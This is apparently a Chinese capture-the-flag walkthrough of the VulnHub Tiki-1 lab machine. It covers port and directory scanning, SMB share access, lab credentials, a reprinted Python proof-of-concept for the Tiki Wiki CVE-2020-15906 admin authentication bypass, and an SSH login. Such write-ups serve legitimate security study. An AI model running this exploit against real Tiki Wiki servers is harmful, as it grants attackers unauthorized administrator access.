Tiki-1
https://download.vulnhub.com/tiki/Tiki.ova
靶场IP：192.168.32.219
扫描对外端口服务
┌──(root💀kali)-[~]
└─# nmap -p 1-65535 -sV 192.168.32.219
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-10 08:28 EDT
Nmap scan report for 192.168.32.219
Host is up (0.00083s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
MAC Address: 00:0C:29:26:C8:DB (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.99 seconds
访问80端口
爆破目录
┌──(root💀kali)-[~]
└─# gobuster dir -w /usr/share/wordlists/dirb/common.txt -x .txt -u http://192.168.32.219
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.32.219
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt
[+] Timeout: 10s
===============================================================
2022/09/10 08:36:24 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 279]
/.htaccess (Status: 403) [Size: 279]
/.hta.txt (Status: 403) [Size: 279]
/.htaccess.txt (Status: 403) [Size: 279]
/.htpasswd (Status: 403) [Size: 279]
/.htpasswd.txt (Status: 403) [Size: 279]
/index.html (Status: 200) [Size: 10918]
/robots.txt (Status: 200) [Size: 42]
/robots.txt (Status: 200) [Size: 42]
/server-status (Status: 403) [Size: 279]
/tiki (Status: 301) [Size: 315] [--> http://192.168.32.219/tiki/]
===============================================================
2022/09/10 08:36:26 Finished
===============================================================
访问：http://192.168.32.219/tiki/tiki-index.php
查看共享目录
┌──(root💀kali)-[~]
└─# smbclient -L //192.168.32.219
Password for [WODGROUP\root]:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
Notes Disk My Notes
IPC$ IPC IPC Service (ubuntu server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
下载：Mail.txt
┌──(root💀kali)-[~]
└─# smbclient //192.168.32.219/Notes
Password for [WODGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jul 29 09:52:09 2020
.. D 0 Thu Jul 30 15:32:11 2020
Mail.txt N 244 Wed Jul 29 09:52:05 2020
19992176 blocks of size 1024. 9775788 blocks available
smb: \> get Mail.txt
getting file \Mail.txt of size 244 as Mail.txt (15.9 KiloBytes/sec) (average 15.9 KiloBytes/sec)
┌──(root💀kali)-[~]
└─# cat Mail.txt 1 ⨯
Hi Silky
because of a current Breach we had to change all Passwords,
please note that it was a 0day, we don't know how he made it.
Your new CMS-password is now 51lky571k1,
please investigate how he made it into our Admin Panel.
Cheers Boss.
使用Silky/51lky571k1登录blog
找到版本2，有个CVE漏洞
CVE：https://github.com/S1lkys/CVE-2020-15906
Tiki Wiki CMS 中存在管理员身份验证绕过漏洞。POC 视频可以在上面的同一 GitHub 页面上找到。我按照这些步骤操作，并且能够获得对 CMS 服务器的管理员访问权限。
# Exploit Title: Tiki Wiki CMS Groupware 21.1 - Authentication Bypass
# Date: 01.08.2020 (1st August 2020)
# Exploit Author: Maximilian Barz aka. Silky
# Vendor Homepage: tiki.org
# Software Link: https://jztkft.dl.sourceforge.net/project/tikiwiki/Tiki_21.x_UY_Scuti/21.1/tiki-21.1.zip
# Version: 21.1
# Tested on: Kali Linux 5.7.0-kali1-amd64
#!/usr/bin/env/python3
import requests
import json
import lxml.html
import sys
banner = '''
████████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██████ ██ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ███ ███
██ ██ █████ ██ ██ █ ██ ██ █████ ██ █████ ██ ██
██ ██ ██ ██ ██ ██ ███ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ███ ███ ██ ██ ██ ██ ███████ ██ ██ ██
█████ ██ ██ ████████ ██ ██ ███████ ███ ██ ████████ ██ ██████ █████ ████████ ██ ██████ ███ ██ ██████ ██ ██ ██████ █████ ███████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
███████ ██ ██ ██ ███████ █████ ██ ██ ██ ██ ██ ██ ███████ ██ ██ ██ ██ ██ ██ ██ ██████ ████ ██████ ███████ ███████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██████ ██ ██ ██ ███████ ██ ████ ██ ██ ██████ ██ ██ ██ ██ ██████ ██ ████ ██████ ██ ██ ██ ██ ███████ ███████
Poof of Concept for CVE-2020-15906 by Maximilian Barz, Twitter: S1lky_1337
'''
def main():
if(len(sys.argv) < 2):
print(banner)
print("Usage: %s <host> " % sys.argv[0])
print("Eg: %s 1.2.3.4 " % sys.argv[0])
return
rhost = sys.argv[1]
url = "http://"+rhost+"/tiki/tiki-login.php"
session = requests.Session()
def get_ticket():
r = requests.get(url)
login_page = r.text.encode('utf-8')
html = lxml.html.fromstring(login_page)
auth = html.xpath('//input[@name="ticket"]/@value')
return str(auth)[2:-2]
def get_cookie():
session.get(url)
return session.cookies.get_dict()
cookie = get_cookie()
ticket = get_ticket()
payload = {'ticket': ticket,'user':'admin', 'pass':'test','login':'','stay_in_ssl_mode_present':'y','stay_in_ssl_mode':'n'}
headers = {
'Host': rhost,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzrhost, deflate',
'Referer': 'http://'+rhost+'/tiki/tiki-login.php',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '125',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0',
}
for i in range(60):
r = session.post(url, payload, headers)
if("Account requires administrator approval." in r.text):
print("Admin Password got removed.")
print("Use BurpSuite to login into admin without a password ")
if(__name__ == '__main__'):
main()
该漏洞是攻击者能够暴力破解 Tiki Wiki 管理员帐户，直到它在 50 次无效登录尝试后被锁定。然后，他们可以使用空密码来验证管理员身份并获得完整的帐户访问权限。
该网页不允许您将密码字段留空，但 Burpsuite 很好，所以这就是它的来源。然后您可以在浏览器中显示响应，我们以管理员身份登录。
找到一个凭据：silky:Agy8Y7SPJNXQzqA
ssh登录
┌──(root💀kali)-[/tmp]
└─# ssh silky@192.168.32.219
The authenticity of host '192.168.32.219 (192.168.32.219)' can't be established.
ECDSA key fingerprint is SHA256:ApBZdsEv9OD5yRa5A+VVFRKVtbxaYr9uOaoHXDfOOtQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.32.219' (ECDSA) to the list of known hosts.
silky@192.168.32.219's password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-42-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
1 Aktualisierung kann sofort installiert werden.
0 dieser Aktualisierung sind Sicherheitsaktualisierungen.
Um zu sehen, wie diese zusätzlichen Updates ausgeführt werden: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Fri Jul 31 09:50:24 2020 from 192.168.56.1
silky@ubuntu:~$ id
uid=1000(silky) gid=1000(silky) Gruppen=1000(silky),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)
提权成功。
最后更新于
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